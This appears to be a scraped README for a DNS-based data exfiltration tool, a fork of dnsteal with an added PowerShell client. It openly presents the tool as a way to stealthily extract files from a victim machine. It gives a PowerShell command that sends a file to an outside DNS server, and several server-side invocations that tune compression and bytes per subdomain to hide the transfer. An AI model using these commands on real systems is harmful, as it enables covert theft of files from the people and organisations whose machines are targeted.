Powershell client created by @icyguider. Everything else is from https://github.com/m57/dnsteal with little modification, so all credit to them.
The powershell client can be used like so once imported:
DNS-Exfil -file file.txt -server 8.8.8.8This is a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests.
Below are a couple of different images showing examples of multiple file transfer and single verbose file transfer:
- Support for multiple files
- Gzip compression supported
- Now supports the customisation of subdomains and bytes per subdomain and the length of filename
See help below:
If you do not understand the help, then just use the program with default options!
python dnsteal.py 127.0.0.1 -z -vThis one would send 45 bytes per subdomain, of which there are 4 in the query. 15 bytes reserved for filename at the end.
python dnsteal.py 127.0.0.1 -z -v -b 45 -s 4 -f 15This one would leave no space for filename.
python dnsteal.py 127.0.0.1 -z -v -b 63 -s 4 -f 0